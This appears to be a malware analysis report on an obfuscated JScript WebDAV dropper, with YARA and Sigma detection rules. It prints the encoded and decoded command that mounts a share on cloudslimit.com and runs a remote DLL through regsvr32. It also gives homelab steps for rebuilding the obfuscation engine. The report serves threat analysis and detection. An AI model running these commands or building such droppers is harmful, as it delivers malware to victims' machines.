unclassified-js-webdav-dropper: 69f29779 — 62-entry compound-phrase dictionary, cloudslimit.com C2

Executive Summary

A JScript WebDAV dropper using a 62-entry dictionary lookup-table obfuscation with natural-language compound-phrase keys (agreeluxuriantpolitical object). Decodes to powershell -EncodedCommand wrapping net use + regsvr32 /s against cloudslimit.com:8888 with payload 94001122714432.dll. Thirty-eighth confirmed sibling of the unclassified-js-webdav-dropper family.

What It Is

How It Works

1. Dictionary construction inside a nested try/catch block. The outer try calls fetchplacehouse() (undefined, so catch fires); the inner try calls unitesuggestiondecorous() (also undefined). ^[strings.txt:1]
2. Inside the outer catch, object agreeluxuriantpolitical is populated with 62 key/value pairs. Keys are three-word natural-language compound phrases (e.g. fallaciousinterestingclam, flippantexplodevivacious, receptivewomanlysqualid). Values are single ASCII characters. ^[strings.txt:1]
3. Inside the inner catch, the payload is assembled via Function('return this')()['WScript']['Shell']('...')['Run']('powershell -EncodedCommand ...',0,false). ^[strings.txt:1]
4. The decoded PowerShell command (UTF-16-LE Base64) resolves to:

   net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\94001122714432.dll
   

   Same domain used for both mount and payload fetch (single-domain variant, not split-C2).

Decoded Command Chain

WScript.Shell.CreateObject("WScript.Shell").Run(
  "powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA5ADQAMAAwADEAMQAyADIANwAxADQANAAzADIALgBkAGwAbAA=",
  0, false)

Base64 decodes to: net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\94001122714432.dll

Build / RE

• Language: JScript (Windows Script Host) ^[file.txt]
• Obfuscation: Dictionary lookup-table with 62 natural-language compound-phrase keys. Same engine as siblings aac0198b5, a3419c27a, and 94686f16 but with a completely fresh key set. Object name agreeluxuriantpolitical is unique to this sample. ^[strings.txt:1]
• Anti-analysis: None — no VM checks, no debugger checks, no time-bombs, no sandbox gates. Nested try/catch is purely structural (forces catch-path execution). ^[strings.txt:1]
• Code quality: Low — hand-written, repetitive, no commercial obfuscator signatures. The 62-entry dictionary inflates the script to 20 KB without adding meaningful entropy.
• Signing: None (script file).

Deploy / ATT&CK

Interesting Tidbits

• The decoy function names fetchplacehouse and unitesuggestiondecorous are themselves natural-language compound phrases, thematically consistent with the dictionary keys. ^[strings.txt:1]
• This is the fourth 62-entry natural-language compound-phrase variant on cloudslimit.com infrastructure, following aac0198b5, a3419c27a, and 94686f16. All share the same execution engine (PowerShell -EncodedCommand → net use → regsvr32 /s) but use completely disjoint key sets. ^[strings.txt:1]
• Payload filename 94001122714432.dll follows the family's pattern of 14-digit numeric filenames with .dll extension. No semantic content.
• Single-domain C2 (cloudslimit.com:8888 for both mount and fetch) distinguishes this from sibling fb353965 which split across cloudslimit.com and cloudskimit.com. ^[strings.txt:1]
• CAPE skipped detonation — JScript is not a supported binary class for the Windows guest. All behaviour inferred from static deobfuscation. ^[dynamic-analysis.md]

How To Mess With It (Homelab Replication)

1. Encode your payload: Take any command string and split it into character-by-character dictionary lookups.
2. Build a 62-entry dictionary: Map natural-language compound phrases (e.g. fallaciousinterestingclam) to single characters. Use a different object name per build.
3. Wrap in nested try/catch: Call an undefined function in each try block to force the catch path.
4. Assembly engine: Function(''+dict['key1']+dict['key2']+...)()['WScript']['Shell']('command')['Run']('powershell -EncodedCommand <b64>',0,false)
5. Test against EDR: Static string detection will fail. Behavioural detection on wscript.exe → powershell.exe → regsvr32.exe is the reliable signal.

Deployable Signatures

YARA Rule

rule WebDAV_JScript_Dropper_Dictionary_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry dictionary lookup table"
        author = "PacketPursuit SOC"
        reference = "raw/analyses/69f297794c23d603d869d588404ef7f93f9a525be50a7029fe0b1c61a329de38"
    strings:
        $dict_pattern = /\w+=\[\];\w+\['[a-z-]{15,50}'\]='.';/
        $func_return_this = "Function('" ascii
        $wscript_shell = "WScript" ascii
        $davwwwroot = "davwwwroot" ascii nocase
        $regsvr32 = "regsvr32" ascii nocase
        $net_use = "net use" ascii nocase
    condition:
        filesize < 50KB
        and #dict_pattern >= 50
        and $func_return_this
        and $wscript_shell
        and $davwwwroot
        and any of ($regsvr32, $net_use)
}

Sigma Rule

title: JScript WebDAV Dropper Execution Chain
logsource:
  category: process_creation
  product: windows
detection:
  selection_wscript:
    Image|endswith: '\wscript.exe'
    CommandLine|contains: '.js'
  selection_powershell_encoded:
    ParentImage|endswith: '\wscript.exe'
    Image|endswith: '\powershell.exe'
    CommandLine|contains: '-EncodedCommand'
  selection_regsvr32_unc:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains: '\\'
    CommandLine|contains: 'davwwwroot'
  condition: selection_wscript and selection_powershell_encoded or selection_regsvr32_unc
falsepositives:
  - Legitimate IT automation using WebDAV (rare)
level: high

IOC List

Behavioural Fingerprint

A .js file executed by wscript.exe constructs a 50+ entry dictionary mapping English compound phrases to single characters, assembles a PowerShell -EncodedCommand string via Function('return this')()['WScript']['Shell'], and spawns powershell.exe which runs net use to mount a WebDAV share at \\host@8888\DavWWWRoot\ followed by regsvr32 /s to silently load a remote DLL with a 14-digit numeric filename.

Detection Signatures

• No YARA matches (script, not PE). ^[yara.txt]
• No capa output (unsupported file type). ^[capa.txt]
• No binwalk matches (plaintext script). ^[binwalk.txt]

References

• unclassified-js-webdav-dropper — entity page for the family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation engine
• webdav-regsvr32-dll-sideloading — technique page for the execution chain

Provenance

• File identification: file v5.45 ^[file.txt]
• String extraction: strings GNU binutils ^[strings.txt]
• Manual deobfuscation: Python regex replacement of dictionary lookups followed by Base64 decode (UTF-16-LE). All decoded strings verified by independent Python script.
• Script source: <sample 69f297794c23.bin> (same content as 15497122031997232427.js)